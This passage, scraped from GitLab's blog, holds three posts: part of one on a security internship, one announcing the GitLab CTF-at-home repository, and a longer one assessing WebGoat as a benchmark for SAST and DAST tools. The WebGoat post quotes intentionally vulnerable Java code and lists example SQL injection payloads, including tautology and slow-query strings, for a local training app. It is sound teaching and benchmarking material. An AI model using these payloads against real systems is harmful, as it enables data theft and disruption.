integrate security early in the development process by carrying out code security reviews on features.\n\nIn addition, I had pairing sessions with members of the [Security Research](/handbook/security/security-engineering/security-research/) team where I was able to learn about different bug-hunting approaches and current security vulnerability research areas being undertaken such as SAST/DAST tooling and dependency scanning. We also worked together to solve a couple of challenges from the 2020 GitLab capture the flag (CTF). Read about the CTF in [“How to play GitLab's Capture the Flag at home”](/blog/how-to-play-gitlab-ctf-at-home/) and try your hand!\n\nThe time I spent working with the [Security Automation](/handbook/security/security-engineering/automation/) team exposed me to the SaaS infrastructure that GitLab relies on with a special emphasis on Google Cloud Platform (GCP). I collaborated with another security engineer to design and implement automation efforts to assist with the management of anomalous resources in GCP, and further assist with the triage process of the reports on these resources.  Through [coffee chats](/company/culture/all-remote/informal-communication/#coffee-chats) with the rest of this team, I was able to gain an understanding of the current Security Automation initiatives surrounding the building of tools and services geared towards increasing efficiency and assisting other security teams in their work.\n\n### Protect the company\nThis group is responsible for “[shoring up and maintaining the security posture of GitLab.com to ensure enterprise-level security is in place to protect our new and existing customers](/handbook/security/#protect-the-company)” and I was fortunate to work across all three functional areas within this group: [Security Incident Response Team](/handbook/security/#sirt---security-incident-response-team-former-security-operations) (SIRT), [Trust and Safety](/handbook/security/#trust--safety) team and [Red Team](/handbook/security/threat-management/red-team/).\n\nWorking with the SIRT team was exciting as I got to learn how security incidents are managed by shadowing the security engineers on-call. This can be a very time-sensitive and fast-paced operation as incidents need to be handled quickly, but at the same time, precisely to avoid any further escalations. Additionally, I had the privilege to work with the team to help create detection rules using Python; I particularly enjoyed this since one of my favorite aspects of software engineering is coding! This gave me insight into how we can proactively detect threats in our environment and design appropriate response approaches.\n\nThe [Trust and Safety](/handbook/security/#trust--safety) team’s main objective is to ensure that GitLab.com is not abused by malicious users. I was able to contribute to this team’s efforts by developing an algorithm that could help to detect [file obfuscation](https://attack.mitre.org/techniques/T1027/), which is a trending abuse methodology used to hide malicious content. This was particularly interesting as we got to leverage the power of machine learning in the security domain. More about this project can be seen further down in this post!\n\nGitLab’s Red Team actively examines the security posture of the organization by carrying out exercises to establish threat models and escalate any security gaps that may be discovered during testing. My time spent on this team gave me the opportunity to get the team members’ perspectives on what it takes to be a ‘Red Teamer’ and how they support GitLab’s value of transparency in their day-to-day work. An interesting project that I was able to contribute to involved research on a machine learning algorithm that can help with secret scanning in GitLab repositories. This proof-of-concept was geared towards reducing the large number of false positives in the current state-of-the-art secret searching tools.\n\n### Assure the customer\nThis sub-department focuses on the mission to [“provide assurance to GitLab customers that any data shared with GitLab will be kept safe and our customer's privacy will be respected”](/handbook/security/security-assurance/) and includes the functions and subteams of [Field Security](/handbook/security/security-assurance/field-security/) and [Security Compliance](/handbook/security/security-assurance/security-compliance/).\n\nInterning within this group was a unique experience for me as I had not yet had the chance to try my hand at a [security analyst](https://handbook.gitlab.com/job-families/security/security-analyst/) role. Through this engagement, I gained visibility into how risk and compliance relate to the bigger security picture and became familiar with the various security compliance certifications and their relationship to the internal [GitLab Control Framework](/handbook/security/security-assurance/security-compliance/sec-controls.html). Specifically, I was able to look at the SOC2 industry standard and help to test controls such as data management, with respect to current vendor security review assessments.\n\n## A deeper dive: machine learning in security\n\nAs part of my internship here, I had the opportunity to focus more deeply on an area of specific interest to me: machine learning. GitLab is actively pursuing novel ways of integrating machine learning into its overall security model. Machine learning can offer multiple benefits in security-based use cases including detection of malicious activity and automation of repetitive security tasks. \n\nAs part of the anti-abuse efforts ongoing at GitLab, senior security engineer in Automation, [Melissa Rodriguez](https://gitlab.com/melissar) and I worked on creating an algorithm that could help to detect obfuscation in certain files. This involved research and learning how to build models that could find patterns in text, and using this to correctly classify regular files versus obfuscated files. I'm proud to say the algorithm I helped to develop with Melissa is going to be used in the detection of abusive activities such as cryptomining, where attackers tend to obfuscate their mining configurations.\n\nMachine learning is a fast-growing trend that has a myriad of applications in the security space, and it is important to consider how to take advantage of it to improve overall security posture and better protect customers.\n\n## Interested in joining GitLab?\nIf you would like to be a part of this amazing team and get to contribute to the GitLab product while enjoying the perks of all-remote, check out the [career opportunities](/jobs/) page and join our [talent community](https://boards.greenhouse.io/gitlab/jobs/4700367002?gh_src=d865c64f2us). You can also learn more about GitLab’s [culture](/company/culture/) and [values](https://handbook.gitlab.com/handbook/values/) in order to get an understanding of what it might be like to work here!\n\n\nCover image by [Christopher Gower](https://unsplash.com/@cgower) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[674,676,815],{"slug":22287,"featured":6,"template":678},"what-its-like-to-intern-in-gitlab-security","content:en-us:blog:what-its-like-to-intern-in-gitlab-security.yml","What Its Like To Intern In Gitlab Security","en-us/blog/what-its-like-to-intern-in-gitlab-security.yml","en-us/blog/what-its-like-to-intern-in-gitlab-security",{"_path":22293,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22294,"content":22300,"config":22305,"_id":22307,"_type":16,"title":22308,"_source":17,"_file":22309,"_stem":22310,"_extension":20},"/en-us/blog/how-to-play-gitlab-ctf-at-home",{"title":22295,"description":22296,"ogTitle":22295,"ogDescription":22296,"noIndex":6,"ogImage":22297,"ogUrl":22298,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22298,"schema":22299},"How to play GitLab's Capture the Flag at home","Our AppSec team built and ran a CTF, and now it's available for you to play at home.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681485/Blog/Hero%20Images/gitlab_ctf.png","https://about.gitlab.com/blog/how-to-play-gitlab-ctf-at-home","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to play GitLab's Capture the Flag at home\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-08-12\",\n      }",{"title":22295,"description":22296,"authors":22301,"heroImage":22297,"date":22302,"body":22303,"category":674,"tags":22304},[11242],"2020-08-12","\n\nThe GitLab Application Security team created a [Capture the Flag (CTF)](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security) contest for GitLab team members in mid-March to provide a fun, hands-on AppSec experience for those who were interested in a little friendly competition.\n\nWe've reworked this contest a bit so now you can solve the challenges at home!\nAnd, even better, because we created this CTF with all of our GitLab team members in mind, there's a wide variety of beginner-friendly challenges, most of which are related to web security.\n\n## Run it at home\nAll you need to run this at home is [Docker](https://docs.docker.com/get-docker/) and [Docker Compose](https://docs.docker.com/compose/install/). The [CTF-at-home repository](https://gitlab.com/gitlab-com/gl-security/ctf-at-home) is where we're releasing the challenges within a `docker-compose` file. Be sure to have a look at the [README](https://gitlab.com/gitlab-com/gl-security/ctf-at-home/-/blob/master/README.md) for set-up instructions.\n\nRunning the challenges should be as simple as:\n\n```\ngit clone https://gitlab.com/gitlab-com/gl-security/ctf-at-home.git\ncd ctf-at-home\ndocker-compose up\n```\n\nAnd then, visit `http://capture.local.thetanuki.io` to get to the landing page. Fingers crossed🤞, it worked on my machine 😉.\n\n## Try your hand at solving some challenges, then tell us about it\n\nTo keep it beginner friendly, the run-at-home CTF also includes spoilers and solutions for all challenges. If you have trouble running the CTF feel free to [create an issue here](https://gitlab.com/gitlab-com/gl-security/ctf-at-home/-/issues/new).\n\nIf you run the CTF at home and solve some challenges, we're happy to hear your feedback, or even see some write-ups. Feel free to share your experience in the comments below or tweet [@gitlab](https://twitter.com/gitlab).\n\n## Our results 🥁\n\nWe initially planned this CTF contest for [GitLab Contribute](/events/gitlab-contribute/), our company-wide get together, which was to be held in Prague at end of March. While COVID-19 made the physical get-together impossible, this CTF was perfect for running worldwide online and across GitLab teams. We ran the challenges from March 16 to March 27, 2020 and had a total of 50 GitLab team members participate in CTF.\n\n### Team member testimonials\n\nFrom a CTF coordinator perspective, running the contest was a great experience. Thankfully, the players were having a good time as well and we received lots of positive feedback, including:\n\n> It was great to collaborate with folks from all different functional groups at GitLab and all around the world. We learned a lot from each other and everyone was able to contribute!\n\n-- [@stkerr](/company/team/#stkerr)\n\n> The perfect mixture of challenges, ranging from very awesome and interesting, to very awesome and challenging. 😆\n\n-- [@cat](/company/team/#cat)\n\n### Hall of Fame\n\nMeet our top twenty players\n\n1. [@cat](/company/team/#cat)\n2. [@ayufan](/company/team/#ayufan)\n3. [@engwan](/company/team/#engwan)\n4. [@vitallium](/company/team/#vitallium)\n5. [@stkerr](/company/team/#stkerr)\n6. [@T4cC0re](/company/team/#T4cC0re)\n7. [@xanf](/company/team/#xanf)\n8. [@ahmadsherif](/company/team/#ahmadsherif)\n9. [@mbobin](/company/team/#mbobin)\n10. [@jrreid](/company/team/#jrreid)\n11. [@djadmin](/company/team/#djadmin)\n12. [@vij](/company/team/#vij)\n13. [@robotmay](/company/team/#robotmay_gitlab)\n14. [@kgoossens](/company/team/#kgoossens)\n15. [@simon_mansfield](/company/team/#simon_mansfield)\n16. [@alan](/company/team/#alan)\n17. [@SteveTerhar](/company/team/#SteveTerhar)\n18. [@rchan-gitlab](/company/team/#rchan-gitlab)\n19. [@razer6](/company/team/#razer6)\n20. [@floudet](/company/team/#floudet)\n\n__Special shout-outs to [@cat](/company/team/#cat) and [@ayufan](/company/team/#ayufan) who both solved ALL the challenges in less than three days.__\n\nBecause building the challenges and playing the CTF were such a positive experience for all involved, we wanted to make those CTF challenges public. We're hoping to have another CTF in the future, but in the meantime, let us know what you think of this one via comment below or [@gitlab](https://twitter.com/gitlab) on Twitter.\n\nHappy hacking!\n",[674,2952,815],{"slug":22306,"featured":6,"template":678},"how-to-play-gitlab-ctf-at-home","content:en-us:blog:how-to-play-gitlab-ctf-at-home.yml","How To Play Gitlab Ctf At Home","en-us/blog/how-to-play-gitlab-ctf-at-home.yml","en-us/blog/how-to-play-gitlab-ctf-at-home",{"_path":22312,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22313,"content":22319,"config":22324,"_id":22326,"_type":16,"title":22327,"_source":17,"_file":22328,"_stem":22329,"_extension":20},"/en-us/blog/how-to-benchmark-security-tools",{"title":22314,"description":22315,"ogTitle":22314,"ogDescription":22315,"noIndex":6,"ogImage":22316,"ogUrl":22317,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22317,"schema":22318},"How to benchmark security tools: a case study using WebGoat","When tasked to compare security tools, it's critical to understand what's a fair benchmark. We take you step by step through WebGoat's lessons and compare them to SAST and DAST results.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678166/Blog/Hero%20Images/benchmarking.jpg","https://about.gitlab.com/blog/how-to-benchmark-security-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to benchmark security tools: a case study using WebGoat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Isaac Dawson\"}],\n        \"datePublished\": \"2020-08-11\",\n      }",{"title":22314,"description":22315,"authors":22320,"heroImage":22316,"date":22321,"body":22322,"category":674,"tags":22323},[12095],"2020-08-11","As your organization grows, the necessity for having automated security tools be a component of your development pipeline will increase. According to the latest [BSIMM10 study](https://www.bsimm.com/about.html), full-time security members represented just 1.37% of the number of developers. That's one security team member for every 73 developers. Without automated tooling assisting security teams, vulnerabilities may more easily find their way into production.\n\nWhen tasked to compare security tools, having the knowledge to judge a fair benchmark is paramount for success. We're going to take a very in-depth look at WebGoat's lessons in this blog post.\n\n## Running a fair benchmark\n\nThere are many factors that need to be taken into consideration when comparing various security tools.\n\n1. Is the tool I am testing right for my organization?\n2. Do the applications I chose to run the tools against reflect what my organization uses?\n3. Do the applications contain real security issues in real world scenarios, or are they synthetic?\n4. Are the results consistent across runs? Are they actionable? \n\n### Choosing the right tool\n\nSome tools are developer focused, while others may be tailored to security teams. Highly technical tools built for security teams may give better results, but if it requires domain expertise and significant tuning, it may end up being a worse choice for your organization. \n\nYour organization may also be more concerned about a tool which can run relatively quickly within your development pipeline. If your developers need results immediately, a SAST or DAST tool which takes hours or days to complete may be next to worthless.\n\n### Choosing applications\n\nIt's important when comparing tools that they are run against applications that have been developed in-house or closely mirror what your development teams are creating. A SAST tool that's excellent at finding Java security issues will not necessarily translate to one that's great at finding actionable issues in a NodeJS application. If your organization has a diverse set of languages you should run each tool against applications that reflect those environments.\n\n### Real world flaws\n\nApplications like [WebGoat](https://owasp.org/www-project-webgoat/) or [OWASP's Java Benchmark](https://github.com/OWASP/Benchmark) do not represent real world applications. Most vulnerabilities have been purposely injected into very simple data and code flows. The majority of flaws in WebGoat exist in the same Java class where the source of user input is defined. In reality, a large number of security issues will be hidden in nested layers of abstraction or multiple function or method calls. You'll want to ensure your test suite of applications includes real world applications and the tools can traverse these complex flows to find potential flaws.\n\nEven if a tool is excellent at finding language specific issues, it may or may not support the development team's choice in frameworks. Most SAST tools need to add support for specific frameworks. If the tool supports the language of choice but does not support the particular framework, there will be a higher chance for poor results.\n\n### Are results consistent and useful?\n\nAnalysis of applications should be run multiple times – DAST tools in particular have a difficult time with consistency due to the dynamic nature of testing live applications. Ensure each tool is run the same number of times to gather enough data points to make a clear decision.\n\nSecurity tools tend to over report issues and this can end up causing alert fatigue and reduce the value of the tool. It's important to tune the tools to reduce the number of non-actionable results. Just pay attention to how much time is required to maintain this tuning effort and be sure to include this in the final decision. \n\n## WebGoat as a benchmarking target\n\nWebGoat is a known vulnerable application that was built to help developers and people interested in web application security understand various flaws and risks to applications. Over the years it has seen numerous contributions to the lessons and became a de facto standard for learning about web application security.\n\nDue to the increase in popularity of this project, customers have chosen to rely on using it as a benchmark when assessing the capabilities of various SAST and DAST tools. The purpose of this post is to outline some potential pitfalls when using WebGoat as a target for analysis.\n\nWebGoat was built as a learning aid, not for benchmarking purposes. Certain methods chosen to demonstrate vulnerability do not actually result in real flaws being implemented in WebGoat. To a human attempting to exercise certain flaws, it may look like they've succeeded in finding an issue. In reality, the WebGoat application just makes it appear like they've discovered a flaw. \n\nThis can cause confusion when an automated tool is run against WebGoat. To a human, they expect the tool to find a flaw at a particular location. Since a number of lessons include synthetic flaws, the tools will fail to report them. \n\nFor this post, GitLab's Vulnerability Research Team used the v8.1.0 release of WebGoat, however a number of the issues identified will be applicable to older versions as well.\n\n## WebGoat's architecture\n\nThe focus of this post is on WebGoat and in particular as a target for benchmarking. The WebGoat repository has grown in size over the years and now includes multiple sub-projects:\n\n- webgoat-container - This project holds the static content as well as the [Spring Boot](https://spring.io/projects/spring-boot) Framework's lesson scaffolding. The frontend is built using [Backbone.js](https://backbonejs.org/).\n- webgoat-images - Contains a Vagrant file for training purposes.\n- webgoat-integration-tests - Contains test files\n- webgoat-lessons - Contains the source and resources for the lessons.\n- webgoat-server - The primary entry point for the SpringBootApplication.\n- webwolf - An entirely separate project for assisting users in exploiting various lessons.\n\nWhen building the WebGoat target application, the webgoat-container, webgoat-server and webgoat-lessons are all included into a single SpringBoot server packaged as a JAR artifact. \n\nFor the most part, lessons that contain legitimate flaws exist in a single class file. Certain SAST tools which implement extensive taint tracking capabilities may not be fully exercised. The end result being, SAST tools with limited capabilities will find just as many flaws as more advanced tools that can handle intra-procedural taint flows. It would be better to benchmark these tools against relatively complex applications versus comparing them with WebGoat's simplistic flaws.\n\n## Analysis methodology \n\nOnly the webgoat-container, webgoat-server and webgoat-lessons projects are included in our analysis of WebGoat for SAST/DAST tools. The other projects webgoat-images, webgoat-integration-tests and webwolf are not included. \n\nOur analysis follows the lessons and attempts to identify in the source where the flaws, if any, exist. If a lesson is a description or does not process user input, it is not included in the flaw category listing below. \n\nEach lesson is broken down to cover the following:\n\n- Flaw category\n- Lesson with title\n- Link as viewable from a browser\n- Source\n- Lesson's purpose \n- Relevant source code\n- Whether DAST/SAST would be able to find and the probability level\n    - Possible: A DAST/SAST tool should be able to find the flaw with little to no configuration changes or custom settings\n    - Probable: A DAST/SAST tool could find the flaw with some configuration changes or custom settings\n    - Improbable: A DAST/SAST tool most likely will not be able to find the flaw, due to either hardcoded values or other conditions that are not realistic\n    - Impossible: A DAST/SAST tool would not be able to find any flaw due to it being completely synthetic or other unrealistic circumstances\n- Reasoning why it can or can't be found with a SAST or DAST tool\n- Example attack where applicable.\n\nIn many places there are additional flaws that exist in the code but are not part of the lesson; we will highlight some of these but not exhaustively.\n\nPlease note this post contains spoilers, if you are new to WebGoat as a learning tool and wish to use it for study, it is recommended to do that first before reading our analysis.\n\n## (A1) Injection\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A1) Injection > SQL Injection (intro) > What is SQL?\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/1\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run full SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java#L55-65 \n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (var connection = dataSource.getConnection()) {\n        Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);\n        ResultSet results = statement.executeQuery(query);\n        StringBuffer output = new StringBuffer();\n\n        results.first();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source (line 55) and is used in a statement's executeQuery method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack2` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=(SELECT repeat('a',50000000) from information_schema.tables)` will take ~3 seconds to complete.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Manipulation Language (DML)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run UPDATE/INSERT SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java#L56-65\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,\n                    CONCUR_READ_ONLY);\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 56 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack3` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from employees)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Definition Language (DDL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/3\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to create tables via SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java#L52-59\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 53 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL injection queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the /SqlInjection/attack4 endpoint's query parameter vulnerable to sql injection.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from information_schema.tables)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Control Language (DCL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it pretends to allow users to run grant/alter on tables via SQL queries. However, it is not calling any SQL functionality.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java#46-51\n\nString regex = \"(?i)^(grant alter table to [']?unauthorizedUser[']?)(?:[;]?)$\";\nStringBuffer output = new StringBuffer();\n\n// user completes lesson if the query is correct\nif (query.matches(regex)) {\n    output.append(\"\u003Cspan class='feedback-positive'>\" + query + \"\u003C/span>\");\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n**DAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > What is SQL injection?\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/5\n\n**Source:** \n- Static content only\n\n**Lesson:**\n\nThis lesson is for practicing SQL Injection query string generation, but does not call any server side functionality.\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n**DAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection against database functionality with the goal of returning all results from a table.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L53-L54\n\npublic AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {\n    return injectableQuery(account + \" \" + operator + \" \" + injection);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L57-62\n\nprotected AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        query = \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {\n            ResultSet results = statement.executeQuery(query);\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `executeQuery` method is called from a dynamically concatenated string containing user input.\n\n**DAST Reasoning:**\n\nThe three inputs `account`, `operator` and `injection` are all concatenated together and each parameter could technically be used as an attack vector. In this case a DAST tool will most likely suffer from over reporting duplicate flaws, as the three input vectors all end up being used in the same resultant query string.\n\n**Example Attack(s):**\n- `account=Smith' or 1%3d1--&operator=&injection=`\n- `account=&operator=Smith' or 1%3d1--&injection=`\n- `account=&operator=&injection=Smith' or 1%3d1--`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! Numeric SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection when the column type is restricted to numerical values. The goal is to return all results from a table. While the resultant query does make use of prepared statements, it incorrectly concatenates user input for the `userid` column.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java#L56-71\n\nString queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\ntry (Connection connection = dataSource.getConnection()) {\n        PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n        ...\n        ResultSet results = query.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the query is correctly used in a PreparedStatement only the `Login_Count` is parameterized, the `accountName` is still dynamically assigned, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters, and provided the correct attack string is used, should successfully identify that the `userid` parameter is vulnerable to SQL Injection.\n\n**Example Attack:**\n- `login_count=1&userid=1+or+1%3D1`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising confidentiality with String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/10\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to return all results from a table. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java#L59-65\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);\n        log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Integrity with Query chaining\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to modify a users salary. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java#L61-66\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);\n        SqlInjectionLesson8.log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters `name` and `auth_tan` which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Availability\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/12\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\n\n**Lesson:**\n\nThis lesson provides a form for testing SQL Injection where the goal is remove evidence of attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java#L58-63\n\nString query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n        try (Connection connection = dataSource.getConnection()) {\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe action user supplied values are dynamically concatenated to a query string, leading to SQL Injection.\n\n**DAST 